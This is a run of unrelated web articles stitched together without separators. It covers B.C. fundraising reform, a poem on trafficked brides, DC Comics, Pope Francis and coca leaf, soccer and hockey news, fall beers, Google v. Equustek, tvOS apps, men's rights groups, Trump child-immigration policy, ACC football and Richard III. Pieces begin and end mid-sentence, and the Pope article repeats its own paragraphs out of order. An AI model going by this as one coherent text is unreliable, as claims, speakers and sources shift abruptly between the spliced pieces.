Check the website for more information, or find WordHat on Github.The B.C. government has announced plans to have an independent panel review the province's political fundraising rules, following heavy criticism that the administration of Premier Christy Clark has allowed lobbyists to funnel money into her party.
On Monday, Clark confirmed that a new panel of non-partisan experts would investigate the province's campaign financing after the provincial election on May 9. Speaking at the Legislative Assembly of British Columbia, she said the new panel would be appointed by the legislature and will investigate "all of the changes that could be made and should be made."
The announcement came three days after revelations last week that the RCMP was called in to investigate a cash and lobbying controversy uncovered by media reports that have branded the western Canadian province as the "wild west" of political fundraising in Canada.
The B.C. government said that the panel will convene every eight years to collect input from the public and political parties and make recommendations for reform to the legislature. It would be modelled on existing bodies such as the Electoral Boundaries Commission, said the release, and review current proposed legislation in B.C. as well as reforms proposed by the federal government.
Selection of the panel members must be unanimously approved by the legislature.
"These reforms build on our government's strong track record of strengthening transparency in our electoral system," said B.C.'s Attorney General and Minister of Justice Suzanne Anton in a press statement. "We were the first to adopt a lobbyist registry, the first government in Canada to set a fixed election date, and the first to set spending limits for parties and candidates."
Clark has asked the deputy attorney general to develop a framework for such a panel by the end of summer 2017. Once the appropriate legislation has passed, the panel will begin its work.
Favour granted to corporate donors?
As it stands, B.C. has no limits on political donations. The province's existing rules also allow any person, corporation or foreigner to donate to political parties.
According to a Globe and Mail investigation, the BC Liberal Party raised a whopping $12 million in 2016, tens of thousands of which came from lobbyists who sent money under their own names, rather than those of the interests they represent. Some of those lobbyists were paid back by their clients or companies, against B.C.'s campaign donation rules.
Further analysis by The Dogwood Initiative found that paving and road maintenance companies that donated to the BC Liberal Party received nearly twice as many contracts from the provincial government on average than companies that did not donate. The Vancouver-based advocacy group's analysis determined that of 134 companies, those who gave cash to the party between 2013 and 2016 received an average of 4.8 contracts, compared to an average of 2.5 contracts for those who did not.
In total, these donor companies received more than $758 million combined in government contracts.
“This announcement is merely a smokescreen for Christy Clark and the BC Liberals to pretend that they are showing leadership on an unethical and unaccountable electoral finance system that they have exploited for massive partisan gain,” said BC Green Party leader Andrew Weaver following Monday's panel announcement.
“This shirking of responsibility is an insult to the people of B.C. who overwhelmingly support immediate electoral finance reform in this province."
An "unjustifiable delay tactic"
The B.C. government also tabled legislation on Monday that aims to improve reporting transparency for political donations.
If passed, Election Amendment Act 2017 will lower the threshold for reporting political contributions from $250 to $150 and require fundraising functions to be posted on a political party's website five days in advance of the event. With the exception of small political parties and independent candidates who don't rake in significant funds, it will also require parties, candidates and constituency associations to disclose donations within two weeks. Failure to disclose donation information according to the rules could result in a penalty of $10,000, according to a B.C. government press release.
Duff Conacher, co-founder of Democracy Watch, a non-partisan citizen group that advocates for democratic reform, said such legislation, along with the premier's panel is a "little too late." The panel won't come into effect until after the election, and Conacher, also a respected political pundit in Canada, said the move is an "unjustifiable delay tactic" that aims to quell anger in advance of voting day.
"No one should be fooled by the likely false promise of future changes," he told National Observer after Monday's announcement. “If the BC Liberals wanted change, they would have said that the system needs changing and changed it by now. But all they’ve said for the past year is that the system is fine as is."
The best way to eliminate big money from politics, Conacher added, is to restrict individual donations to $100 — a legislative change that he believes could be made in time for election day on May 9. He said the panel is a 'likely false promise,' as the province has promised only that the panel will review political financing rules, not that it will implement any of the panel's recommendations.
Alberta, Quebec, Manitoba, Nova Scotia and the federal government have all banned corporate and union donations to political parties. The BC New Democratic Party has called for a similar ban for years, although it too has accepted donations from corporate and union donors in much smaller quantities than the Liberals.
Duff Conacher is the co-founder of Democracy Watch and a well-known political pundit in Ottawa. File photo by The Canadian Press
Previous conflict of interest complaints
It's not the first time the Clark government has been in hot water for its fundraising practices. In 2016, B.C.'s conflict of interest commissioner reviewed complaints that the BC Liberals' exclusive, expensive party fundraising events — along with a $50,000 annual stipend the party paid Clark — breached provincial law.
A month later, the commissioner determined Clark was not in a conflict of interest for accepting the stipend or hosting the 'cash-for-access' events. Democracy Watch was one of the organizations that filed the complaints against Clark.
In January 2017, the B.C. Supreme Court ruled that the commissioner's decision could not be challenged in court, and Clark announced she would give up her stipend from the party, as it had become a "distraction." Democracy Watch condemned the court decision at that time, and argued that the commissioner should have stepped aside from ruling on Clark's case, given that his son works as a deputy minister for the BC Liberal government.
Given this history, Conacher questioned how 'independent' and 'non-partisan' the panel could be if it is appointed by the the BC Liberal government.
“It’s a classic move to bait voters with the promise of future change, and then when you win power again, ignore your promise," said Conacher. "This panel is not being set up today, so it’s not a promise to set up a panel to look at an issue, not a promise to make change.”
— with files from Carl MeyerDo I have a tongue,
Can I speak too?
In this strange world,
Am I a human too?
Do I have a heart,
Can I live too?
In this strange land,
Am I alive too?
In the midst of Oblivion,
I search my visions,
I once used to dream,
As a young teenager,
In Sea of Paro s
I try to remember,
The faces of people
I had once lived with
Father, mother, brother
Of all those people
I had once called family.
I came here as girl,
I am shared in the family,
I born plenty children,
I am sold and re-sold
In and around
To any men who
Can afford to buy,
I am kept but
Seldom married,
Each street have
it's own paro,
They all have
But the same story.
After some years
I cease to exist,
For the people
Who bought me
I am an old cattle
Who no longer
give them pleasure,
I am now a burden
A liability soon
To be shedded..
They don't throw
me though,
They leave me alone
In a small room,
I have become a mother
Of a girl or two
I have new family
But no identity
fits me ever,
When I come here
I became a Paro,
When my times up
I die a Paro!!
Paro is short for
Pardesi, a foreigner,
I am the girl
Bought for men
From another land
Into there land,
To born son's
For there motherland.
This is ordeal of
A soul that once lived,
Now it's just a body
With no role,
No fiction this
It's a real story
A reality of some
Distant land!!
That land for you
Is so very strange
Where eight young man
**** a pregnant goat!
And the strangest
thing is they
go away and
Roam scot free..!!
Soon the elders in the village
Will have a big meet,
They will give compensation
To the owner of the goat,
And free from the sin
There precious young boys
The martyred goat
Will also have new name,
And so it will soon
Be christened to
A new species of
"Paro"-
a first of it's kind
A Welcome from
an animal world!!
And so I ask again
Do I really exist?
What form of life
Do I have here?
In this strange land
Are they human too??
Does even a little atleast
A thing called
Humanity exist???
Sparkle in Wisdom.
1/8/2018.
https://www.theguardian.com/global-development/2018/mar/07/india-girls-women-trafficked-brides-******-domestic-slavery
Wrote this poem after reading this article.DC Comics' New 52 has brought plenty of changes to its superpowered characters, but the publisher's policy has been not to change the sexual orientations of any existing characters. That's about to change, however, as DC co-publisher Dan DiDio announces plans to reintroduce an established character as gay.
Last year, DiDio told The Advocate that DC's plans were to introduce new gay characters rather than change the orientation of established characters. However, when asked about that policy at this weekend's Kapow! convention in London, DiDio said that plans had changed, and that a previously established DC character would be introduced in the New 52 universe as gay. DiDio told the audience that the character would become "one of our most prominent gay characters."
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The question is: who will it be? It sounds like the character will be one who hasn't yet appeared in the New 52 (so that image above probably won't pan out). Will anyone's slashfic dreams pan out? And will the newly homosexual character be a hero or a villain?
Top image via FFFFOUND.
DC Comics To Switch The Sexual Orientation Of An Established Character [Bleeding Cool]Since his election in 2013, Pope Francis has generated headlines for revolutionary views on topics such as homosexuality, capitalism, and the church's internal affairs. However, his view on drug-use is considered rather traditional. He advocates against the legalization of marijuana, for example.
While coca was declared illegal after the 1961 UN Convention on Narcotic Drugs, Bolivia in 2011 withdrew from the convention system, but two years later re-acceded, with approval from member states, with an exception allowing the country to maintain a domestic coca market. Bolivian law permits citizens to grow and use coca for religious and medicinal purposes.
In late June, Bolivia's culture minister told local news outlets that Pope Francis would be requesting coca leaf to chew upon his arrival.
The pontiff was scheduled to arrive today in La Paz, the capital of Bolivia, after two days in Ecuador. Because of Bolivia's high altitude — La Paz, at 11,942 feet above sea level, is the highest capital city in the world — locals traditionally chew on coca leaf or brew it as tea to mitigate the effects of altitude sickness.
Pope Francis is on his way to Bolivia, the second country on his current South American tour, and while there, he's expressed interest in trying coca leaf — the base ingredient for processed cocaine.
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Pope Francis is on his way to Bolivia, the second country on his current South American tour, and while there, he's expressed interest in trying coca leaf — the base ingredient for processed cocaine.
The pontiff was scheduled to arrive today in La Paz, the capital of Bolivia, after two days in Ecuador. Because of Bolivia's high altitude — La Paz, at 11,942 feet above sea level, is the highest capital city in the world — locals traditionally chew on coca leaf or brew it as tea to mitigate the effects of altitude sickness.
In late June, Bolivia's culture minister told local news outlets that Pope Francis would be requesting coca leaf to chew upon his arrival.
While coca was declared illegal after the 1961 UN Convention on Narcotic Drugs, Bolivia in 2011 withdrew from the convention system, but two years later re-acceded, with approval from member states, with an exception allowing the country to maintain a domestic coca market. Bolivian law permits citizens to grow and use coca for religious and medicinal purposes.
Since his election in 2013, Pope Francis has generated headlines for revolutionary views on topics such as homosexuality, capitalism, and the church's internal affairs. However, his view on drug-use is considered rather traditional. He advocates against the legalization of marijuana, for example.
The papal visit to Bolivia is set to deal exclusively with religious matters, but locals in the landlocked country say they hope Pope Francis will express support for a long-standing national claim to create a maritime exit for Bolivia between Peru and Chile. In response, Federico Lombardi, head of the Holy See Press Office, said he does not think the Pope will "get into politics" during his brief visit.
Due to his health, the Pope will only stay at La Paz one night. Afterwards, he is scheduled to travel to Santa Cruz, a Bolivian city located at a lower altitude. Bolivian authorities said they will present him with coca leaves along with a menu set to include quinoa and traditional Bolivian foods.
The relationship between Bolivia and the Vatican has experienced some distancing since the 2006 arrival of Evo Morales to the presidency, and the new constitution he introduced in 2009. In that document, Bolivia became an officially secular country, and Andean rituals replaced Catholic ones at official events.
The new constitution deleted any mentions of the Roman Catholic Church in its articles.
"There are some challenging issues in terms of Evo Morales taking on a quite combative role against the church, which he sees as a challenge to his authority," Clare Dixon, Latin American regional director for the Catholic Agency for Overseas Development, told the Associated Press.
The papal activities in Bolivia are set to finish on Friday, with the Pope's visit to Palmasola, the most violent penitentiary in the country. He is then expected to travel to Paraguay before returning to Vatican City.
Related: Pope Francis Says Those Who Deny Migrants Should Ask God for Forgiveness
The Associated Press contributed to this report.DENVER – Reinforcements are on the way for Orlando City.
The club is finalizing a deal to sign Spanish centerback David Mateos from Ferencvárosi in Hungary, multiple sources confirmed to the Orlando Sentinel.
Mateos is a former Real Madrid defender who featured heavily for the Spanish giants’ reserve side but did not make a La Liga appearance for the first team. The 28-year-old will add immediate help to a back line that has looked stretched at times this season.
"As has been reported we are actively working towards the signing of a couple of players, but until negotiations are completed and finalized there is nothing more we can discuss," club spokesman Lenny Santiago said.
While with Real Madrid, Mateos went on loan with AEK Athens and Real Zaragoza before moving to Hungary. The 6-foot-2 defender was teammates with Kaká when Orlando City’s star player was at Real Madrid from 2009-13.
The interest from Orlando City was first reported by Hungarian newspaper Népszava.
Mateos began with Real Madrid’s youth system at the age of 12 and spent most of his career playing with the club’s reserve sides. He did make the 18-man roster for several games and debuted for the first team in a Champions League game in 2010. He played 14 league games with Real Zaragoza on loan in 2011-12.
Mateos has started all 40 league games in which he’s played over the last two years in Hungary.
Orlando City has three veteran centerbacks on the roster: Aurélien Collin, Sean St. Ledger and Seb Hines. Rookie Conor Donovan was loaned out to the Pittsburgh Riverhounds, while homegrown defender Tommy Redding is another centerback likely to be loaned out.
Email at ptenorio@tribune.com. For more soccer news, visit OrlandoSentinel.com/OnThePitch or follow on Twitter @oslions.Summer is coming to an end – school has started, football season is about to begin, and the shelves at the local store are starting to fill with pumpkin and Oktoberfest beers. It’s a time when our tastes start moving from light, crisp, refreshing beers to those with a bit more maltiness and warming alcohol content.
For me, I’m not sure there’s anything better than sitting outside on a cool fall evening, listening to the wind, and enjoying a beer. If you’re like me, the question becomes, “what beer should I grab.” That’s why we’ve pulled together some of our favorite lists and articles to help you enjoy the best beers for the fall season.
You may not realize it, but “Oktoberfest” or “Octoberfest,” actually starts in September, running for 17 days, and ending on the first Sunday in October. Therefore, it’s perfectly fine to break out an Oktoberfestbier in September.
Here’s my list of Top 10 Best Oktoberfest Beers, with some great fall suggestions. There’s the traditional, from Spaten to Hofbräu, to the tasty American versions from Boulevard Brewing’s Bob’s 47 Oktoberfest to Schlafly’s Oktoberfest. A couple of the more extreme, including Avery’s The Kaiser (9.73% ABV) and Coney Island Freaktoberfest (6.66% ABV) make good cool-weather warmers.
Although it’s not quite September yet, you’ve almost certainly already seen Halloween items hitting the shelves, including pumpkin beers. I also have a list of my Top 10 Pumpkin Beers to help you select from the growing selection of them. It’s hard to believe, but as little as five years ago, there were only a handful of pumpkin beers on the shelves. There are now more than ever, and they’re hitting the shelves earlier and earlier. We’ve already had a few sightings of our top pumpkin beer, Southern Tier’s Imperial Pumking, as well has photos of it shipping out on the brewery’s website. There have also been several reports of our second and third rated pumpkin beers (Schlafly Pumpkin Ale and O’Fallon’s Pumpkin Beer) hitting the shelves in St. Louis, as well as New Holland’s Ichabod rolling out across the midwest. More from our list are certain to hit the shelves in the next few weeks, including Dogfish Head’s Punkin Ale and Blue Moon’s Harvest Moon Pumpkin Ale. For great pumpkin beers to warm you up, we recommend Shipyard’s Smashed Pumpkin (9% ABV) and Clipper City’s Great Pumpkin (8% ABV).
Before you run right out and buy pumpkin beers this week, remember, it’s actually the spices, not the pumpkin that give this beer its flavor. Spices can be extremely tricky to preserve once they are in the beer. Brewers often initially put more spices in their beers, knowing that these flavors will fade over time. Therefore, if you buy a 6-pack of pumpkin beer, try one, and if you find the flavors a bit cloying, let rest sit for a few weeks and you might find you have yourself a great beer after the flavors fade a bit.
Enjoy the cooler weather, fall football, and these great beer options, and let us know if you’ve found any great fall beers that should be added here.The Supreme Court of Canada released its much-anticipated Google v. Equustek decision today, upholding the validity of an injunction requiring Google to remove search results on an international basis. The 7-2 decision (Justices Côté and Rowe dissented, finding that there were alternatives available, the order is ineffective, and expressing concern that the “temporary” injunction was effectively permanent) is not a surprise – last week’s Facebook’s decision suggested a willingness to side with the weaker Canadian litigant against Internet giants – but the decision will ultimately grant Google more power, not less.
Google will obviously abide the ruling, but as I noted last year, what happens if a Chinese court orders it to remove Taiwanese sites from the index? Or if an Iranian court orders it to remove gay and lesbian sites from the index? Since local content laws differ from country to country, there is a great likelihood of conflicts. That leaves two possible problematic outcomes: local courts deciding what others can access online or companies such as Google selectively deciding which rules they wish to follow. The Supreme Court of Canada did not address the broader implications of the decision, content to limit its reasoning to the need to address the harm being sustained by a Canadian company, the limited harm or burden to Google, and the ease with which potential conflicts could be addressed by |
TV Workout here, which is a very similar premise, but it includes videos of instructors doing each move so you can copy the professionals and maximise your efficiency.
Withings Home
Home health company Withings is jumping on board too, they’ll have an Apple TV app available at launch. The Withings Home app will work with their video monitoring hardware to let you easily add CCTV in every room of the house and view it all on your big-screen TV in the living room. The app will support streaming of up to 4 live videos at the same time, so you can glance at the security and safety of everyone in your house simultaneously. The app will be available for free in the Apple TV App Store but obviously you will need to buy the Withings cameras for it to be useful.
Sketch Party TV
SketchParty kind of exists today on the current Apple TV through AirPlay — you can download the iOS app and stream the game content to the television. It’s not a great experience though, AirPlay lag and occasional choppy frame-rates ruin the experience.
With the new Apple TV, SketchParty has made a tvOS game that runs on the Apple TV hardware. The app still connects with users’ iPhones and iPads to act as controllers for each of the players, where the sketching takes place. Its just that the main experience is now being powered by a real native app, allowing SketchParty to deliver higher quality, sharper graphics and fluid visuals to the Apple TV, eliminating the lag issues inherent with AirPlay Mirroring.
This is just a taste of the kinds of apps and games to expect for tvOS. Apple is still working through the review queue so the Apple TV app library will grow significantly in the coming days. Many of the top apps are also still under embargo, so we’ll bring you full coverage of those as the details become public. The first Apple TV units will be delivered to customers this Friday and we expect the tvOS App Store to go live for people with developer kits on Wednesday or Thursday.
(If you are working on a great tvOS app, please get in touch).Double X has a disturbing profile today of the men's rights movement and its involvement in belittling domestic violence against women.
According to writer Kathryn Joyce, men's rights groups (like the one whose members climbed Buckingham Palace dressed as superheroes to protest custody laws) see domestic violence laws as discrimination on a par with racism. They contend "that false allegations are rampant, that a feminist-run court system fraudulently separates innocent fathers from children, that battered women's shelters are running a racket that funnels federal dollars to feminists, that domestic-violence laws give cover to cagey mail-order brides seeking Green Cards, and finally, that men are victims of an unrecognized epidemic of violence at the hands of abusive wives." A statement from RADAR (Respecting Accuracy in Domestic Abuse Reporting) reads, "It's now reached the point that domestic violence laws represent the largest roll-back in Americans' civil rights since the Jim Crow era!"
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This is obviously an exaggeration, but, as Joyce also points out, claims that domestic violence law is discriminatory have gained some mainstream acceptance. RADAR board member Ron Grignal says, "I've had Democrats on Capitol Hill tell me they agree with everything I say," and Joyce writes that an LA conference on male victims of domestic violence "received positive mainstream press for its 'inclusive' efforts." So are men's rights groups on to something? Is domestic violence law marginalizing men?
According to Joyce, probably not. She writes that "while some men certainly are victims of female domestic violence, advocates say the number is closer to 3 percent to 4 percent, rather than the 45 percent to 50 percent RADAR claims." In general, men's rights groups appear to be relying on "cherry-picked studies" that ignore, for instance, the distinction between one-time, relatively minor violence and sustained battery, which is overwhelmingly perpetrated by men. This is not to say that even minor violence is acceptable — but men's rights groups aim not just to address violence against men, but to downplay violence against women. And this goal is, frankly, pretty sinister. Joyce writes:
[C]ritics like Australian sociologist Michael Flood say that men's rights movements reflect the tactics of domestic abusers themselves, minimizing existing violence, calling it mutual, and discrediting victims. MRA groups downplay national abuse rates, just as abusers downplay their personal battery; they wage campaigns dismissing most allegations as false, as abusers claim partners are lying about being hit; and they depict the violence as mutual-part of an epidemic of wife-on-husband abuse-as individual batterers rationalize their behavior by saying that the violence was reciprocal. Additionally, MRA groups' predictions of future violence by fed-up men wronged by the family-law system seem an obvious additional correlation, with the threat of violence seemingly intended to intimidate a community, like a fearful spouse, into compliance.
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It's upsetting but perhaps not surprising that the men's rights movement's tactics mimic those of abusers, given that the movement itself sets up such an adversarial relationship between men and women. The sad thing about this is that, in a very real way, women's rights are men's rights. Being a feminist or an advocate for domestic violence victims doesn't mean you want women to be allowed to batter men. It means you believe in egalitarian relationships in which partners resolve disputes through communication rather than violence — something that benefits both men and women.
Men's rights groups also often focus on father's rights — the right to custody of children after a divorce, for instance. But feminists work for fathers' rights too, arguing that women aren't the only "natural" caregivers and that men can and should play an equal role in raising their children. We're just not in favor of giving custody to abusive fathers — and some high-profile members of the father's rights movement have been accused of abuse. The men's rights movement includes some pretty scary people — according to Joyce, some even defended Pittsburgh gym gunman George Sodini — but it no doubt also includes some decent men who believe the old lie that feminists are out to get them. In fact, we support their right to healthy relationships, and to be treated as equal partners in their families — we just don't think they have a right to beat us up.
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"Men's Rights" Groups Have Become Frighteningly Effective [Double X]"That would be nice, go a few shifts against him," Faksa said with a smile. "Maybe throw a few hits."
Well, Jagr and the Panthers are coming to town Saturday night, and Faksa is looking at the matchup differently. Faksa, who relishes playing against the opposition's top players, is hoping to go head-to-head with Jagr, the NHL's second all-time leading scorer.
Stars center Radek Faksa made his NHL debut last season against the Florida Panthers and his boyhood idol and fellow Czech native, Jaromir Jagr. Back then it was all about the excitement of his first NHL game and having it come against Jagr, whom Faksa called his "hockey god."
Video: Sharp back in lineup to face Florida
That's a sign of how far Faksa, who is in his first full NHL season, has come in the past year. One year ago, he was a guy trying to make it to the NHL as a full-time player. Now, he's an important piece for the Dallas Stars, a strong two-way player the team trusts in key situations. He's registered 13 points (five goals, eight assists) and a plus-five rating in 37 games, but what he does doesn't always show up on the scoresheet.
"He's mainly the guy who can steady the ship, whether it is in one end or the other," said Stars coach Lindy Ruff. "If we need a big defensive shift he is on the ice. When we need a big penalty kill, he is leading it off, and when we need a big faceoff win, he is the guy I am sending over the boards. He's a big man who can play physical and can get in on the forecheck and create his own chances. He's led a line that has been pretty consistent, probably the most consistent line for us. He's been an important piece for us."
The confidence the Stars coaches have shown in the 22-year-old Faksa has been a big boost to his confidence, and it shows in the way he has been performing this season.
"Hockey is about confidence," Faksa said. "When the coach trusts you, you have confidence, and you feel better on the ice. It's helping a lot."
While he is only 22, it's been a long road to the NHL for Faksa, who at age 11 left home to play for the Trinec hockey team in his native Czech Republic. He lived alone in a hotel room and received two meals a day to play. It was a tough decision for the family to send the young Faksa away, but they saw it as the best shot at pursuing his dream of playing in the NHL.
"It helped me a lot. I could live without any help and could do everything myself," Faksa said. "It helped me a lot for the future."
Faksa spent five years with Trinec before making the jump to North America to play junior hockey in the Ontario Hockey League, where he played for both Kitchener and Sudbury. The Stars drafted him in the first round (13th overall) of the 2012 NHL Draft.
There were some bumps along the way for Faksa as he continued his pursuit of an NHL career. He was slowed by injuries in the OHL, and in his first full season with the Texas Stars of the AHL in 2014-15, he missed the final half of the season due to a shoulder injury. But he became a regular with Dallas the second half of last season and hasn't looked back. That decision to leave home at a young age and all the hard work paid off.
And his family back in Czech Republic has been following all along, now setting an alarm to get up at 2:30 a.m. to watch his NHL games live on television. His mother, brother, and sister came to watch him play in person in the NHL for the first time, taking in the Stars' recent five-game homestand. And they got to see him score goals against Anaheim, Philadelphia and Los Angeles.
"It was the first NHL games for them to see me here," Faksa said. "We spent Christmas together. After seven years, it was nice."
And Faksa is in a nice spot right now with the Stars, playing a key role as the team looks to continue its recent run when it takes on the Panthers and Jagr Saturday night at American Airlines Center.
"It's hard to get here, and it's even harder to stay here," Faksa said. "I am glad I am here, I have lots of trust, and I am just enjoying it. I am showing it on the ice that I have a lot of confidence now."
Quotable: Faksa on licking the gravy
So, where did the phrase "licking the gravy" that Radek Faksa has used to describe some of the goals he has scored originate? Here's his answer.
"I heard that in junior," Faksa said. "If you get an easy goal I thought that is what you say. It's just in Canada; I don't know."
So, that's not a Czech saying?
"No, no," he said.
Quotable: Faksa on Jaromir Jagr
"It's crazy. I wasn't even born yet and he had two Stanley Cups already. I remember when I was a little kid they played the Olympics in Nagano. I was like four-years-old, and I was already watching the Olympics. The Czechs won the gold and that was my first memory of him."
This story was not subject to approval of the National Hockey League or Dallas Stars Hockey Club. Mark Stepneski is an independent writer whose posts on DallasStars.com reflect his own opinions and do not represent official statements from the Dallas Stars. You can follow Mark on Twitter @StarsInsideEdge.NEW YORK (Reuters) - Many of the immigration initiatives launched by the Trump administration in recent weeks target one kind of migrant: children.
The measures are aimed at expelling young people already in the United States illegally and preventing new ones from crossing into the country.
Some of the policy shifts have generated headlines, including Trump’s decision in September to end the Deferred Action for Childhood Arrivals program, or DACA. That measure, put in place by former President Barack Obama in 2012, allowed nearly 800,000 young people brought to the United States illegally as children the ability to live, work and study in the country without fear of deportation.
Other proposals and actions have received far less attention.
The Trump administration has recently intensified scrutiny of abused and neglected foreign minors applying to stay in the United States. It is seeking to restrict who qualifies for special protections granted to children crossing the border alone. And it is stepping up prosecutions of adults who paid smugglers to bring unaccompanied kids to the United States.
The White House also announced this fall it will end a program allowing Central American minors to apply for U.S. asylum while still living abroad. At the same time, the administration is exploring ways to scrap legal protections that limit how long and under what conditions children can be held in immigration detention centers.
In response to questions about the changes in immigration policy focused on children, the White House said that relevant agencies were reviewing ways to help “law enforcement professionals to do their jobs and keep the country safe.”
(For a graphic on Trump policies targeting young immigrants, see: tmsnrt.rs/2zaT2BK)
Trump came to office promising to crack down on immigration. That message grew stronger this week in the wake of a terrorist attack in New York by a 29-year-old immigrant awarded a green card through a visa lottery program the president has now vowed to end.
Some of his messaging on child immigrants also reflects security concerns. In a speech in Long Island in July, Trump called out “alien minors” as responsible for gang-related killings in the United States.
“These are animals,” he said of members of the notorious Central American gang MS-13.
In addition, the administration says it wants to prevent children from undertaking perilous journeys to the United States and eliminate fraud from programs for young immigrants.
“The President wants to stop the incentives for vulnerable children to come here illegally,” Attorney General Jeff Sessions said in a speech in Texas in October. In another speech last month, he blamed “dirty immigration lawyers” for encouraging clients to game the process.
Some immigration advocates see the president’s focus on young border crossers differently. Children are perceived sympathetically by the public and have more legal protections than other immigrants, giving authorities less flexibility to deport them, they say.
It is “in the administration’s interest to paint unaccompanied children as gang bangers and not as asylum seekers fleeing violence and abuse,” said American Civil Liberties Union attorney Michael Tan. “The administration wants the public to perceive these children as monsters and not people deserving of refuge.”
‘UNWORKABLE’ DETENTION POLICY
President Trump is not the first president to try to crack down on minors crossing the border illegally. Obama prioritized the removal of young immigrants after the number of unaccompanied minors apprehended at the U.S.-Mexico border peaked at more than 68,000 in 2014, most of them from violence-torn Central America.
Trump campaigned on a promise to toughen enforcement further, saying Obama’s policies had failed. After he took office early in 2017, apprehensions of unaccompanied minors dropped sharply, to a low of just over 990 in April from more than 4,400 in January.
FILE PHOTO: A girl sitting on the shoulders of her father holds a sign reading "Keep Families Together" at a protest against U.S. President Donald Trump's proposed end of the DACA program that protects immigrant children from deportation in New York City, U.S., August 30, 2017. REUTERS/Joe Penney/File Photo
But the number of arrests has begun rising again, with nearly 3,000 unaccompanied minors caught in August, according to government data.
One target of the administration is a legal agreement dating back to 1997 that bars the government from holding child immigrants for long periods.
The so-called Flores settlement addressed what advocates said were harsh conditions for kids held in immigration detention facilities. To settle a class-action lawsuit, the government agreed to release minors quickly to adult relatives or licensed childcare programs, or to put them in the “least restrictive” setting possible if other options were not available.
Faced with 2014 surge in illegal crossings, the Obama administration fought broad legal interpretations of the agreement in court to make it easier to detain families. The Trump White House now wants to scrap it altogether.
An internal memo dated Sept. 8 written by the Department of Homeland Security (DHS) and reviewed by Reuters called the two-decade-old legal agreement “unworkable,” and presented four options to fight or end it. Among them: DHS could ask a federal court to dissolve the Flores deal, a move the memo acknowledged could prove difficult given past rulings that have bolstered the agreement.
A DHS spokesperson said the agency would not comment on “internal working documents.”
‘ABUSE’ OF PROGRAM FOR ABUSED KIDS
The administration is focused not just on stopping illegal border crossings by children but also on limiting their ability to stay once they reach the United States.
One of its targets is SIJS, or special immigrant juvenile status, a program for foreign minors who have been abused, abandoned or neglected.
To qualify, children have to prove their mistreatment in U.S. family court, after which they are protected from deportation and allowed to apply for green cards.
SIJS applications ballooned following the 2014 surge in unaccompanied minors. The program’s numbers hit 19,475 in the 2016 fiscal year, a more than 1,000 percent increase from 1,646 in fiscal year 2010.
The White House and immigration hard-liners in Congress say lawyers have taken advantage of the program by using it for kids who are not in the kind of peril the statute was intended to address. Chief among their complaints is that children abandoned by one parent can apply for SIJS even if another parent is providing adequate care. The administration is already taking steps to limit the program.
Immigration attorneys say government scrutiny of SIJS petitions has increased, slowing the approval process and leaving kids in limbo.
Approvals from April to June totaled 1,862, down more than 50 percent from the previous three-month period, according to data from U.S. Citizenship and Immigration Services (USCIS).
USCIS acknowledged that it has stepped up scrutiny of petitions “to ensure that they meet criteria for approval.” But the agency stressed that the majority of applications are still approved.
From January through June of this year 5,671 SIJS petitions were approved while 403 applications were denied. Meanwhile pending applications are ballooning, totaling 22,745 through June, as new petitions grow.
The delays are creating confusion for young immigrants such as 20-year-old Drucilla.
She says her mother neglected her after bringing her to the United States illegally from Jamaica when she was three years old following her father’s murder. Drucilla eventually moved in with an aunt in New York and applied for SIJS last year in order to stay in the country.
Slideshow (5 Images)
Drucilla, who asked only be identified by her first name, said she is nervous about the outcome of her case after U.S. officials recently requested additional documents to substantiate her claims.
“Growing up, nothing was ever in my control,” she said. “I have a lot of anxiety.”
See how the administration’s actions affect people, communities, institutions and companies at The Trump Effect www.reuters.com/trump-effectAll this week, we’re taking a fresh look, position by position, at how ACC teams stack up, from the best of the conference to the units that might surprise to the positions that will prove to be an Achilles' heel for some teams’ 2017 title hopes.
Next up: Running back
Of the top 10 leading rushers in the ACC in 2016, only two are set to return. One is Louisville quarterback Lamar Jackson. The other is Miami running back Mark Walton, who rushed for 1,117 yards in 2016. Quick translation: This is a transition year at running back, where it is somewhat hard to tell who will emerge from a field full of talented but inexperienced players.
Jacques Patrick rushed for 5.7 yards per carry as a sophomore in 2016, spelling Florida State star Dalvin Cook. Mark LoMoglio/Icon Sportswire
Best overall: Florida State. This was one of the toughest calls to make when doing the rankings because this one is based on potential alone. Dalvin Cook is gone after putting together a record-setting Florida State career. To replace him, the Seminoles have: two of the top four running backs in the class of 2017 in Cam Akers (No. 1) and Khalan Laborn (No. 4); Amir Rasul, the No. 7 running back in 2016; and Jacques Patrick, the No. 3 running back in the class of 2015. On paper, this is the most talented group in the ACC. But will these players live up to their advance billing and high expectations?
Runner-up: Pittsburgh. Like Florida State, the Panthers lose their workhorse and team leader in James Conner, whose inspirational story was impossible to ignore. But Pitt has talent, depth and experienced players returning at the position: 2015 ACC Rookie of the Year Qadree Ollison, Chawntez Moss and Darrin Hall. Add in two ESPN 300 running backs in A.J. Davis and Todd Sibley, and there’s every reason to believe the Panthers will excel at running the ball again.
Potential sleeper: Boston College. The Eagles have struggled to mount an effective ground attack over the past few seasons, but there is reason for optimism headed into 2017. Jon Hilliman and Davon Jones return, and the Eagles added A.J. Dillon, who expects to contribute right away. If Anthony Brown wins the starting quarterback job, his ability as a runner should help revive the ground game.
Achilles’ heel: Virginia Tech. Sure, Travon McMillian returns, but he’s the only known running back in the mix, and he had a down year in 2016. In fact, the Hokies struggled at times to rush the ball with their running backs when they really needed to last season: On non-quarterback runs, Virginia Tech averaged 2.64 yards per rush between the tackles last year, worst rate among Power 5 teams. To win the Coastal again, the Hokies must do a better job on the ground, especially with so many other holes that have to be filled.
Our Top Five
1. Florida State. 2. Pittsburgh. 3. Georgia Tech 4. Miami. 5. Clemson.Who’s your favourite dead king? For me it’s a toss-up between King Henry VIII (likes: Greensleeves, beheadings) and Nat King Cole (likes: chestnuts roasting on an open fire, Jack Frost nipping at your nose). Those are definitely my top two.
Below them, there’s King Kong, King George III, Good King Wenceslas, and about 500 other assorted types of king before you get to Richard III. Never warmed to him. Don’t know why. I’ve just never really been into Richard III. Maybe it’s his Savile-esque haircut, or the fact that his name is widely used as rhyming slang for fecal matter, or just the way he’s routinely depicted as a murderous, scheming cross between Mr Punch and Quasimodo; a panto villain with nephews’ blood on his hands.
But he’s not without his fans. At the time of writing, thousands of citizens are voluntarily queueing for up to four hours outside Leicester Cathedral just to look at a wooden box with his remains in it. They wouldn’t do that for Rihanna.
He’s lying in state until Thursday, when he’ll get buried for the second time. The second time! Because one funeral isn’t good enough for Richard, no. Apparently he needs two, the diva. Even Liberace was content with just one.
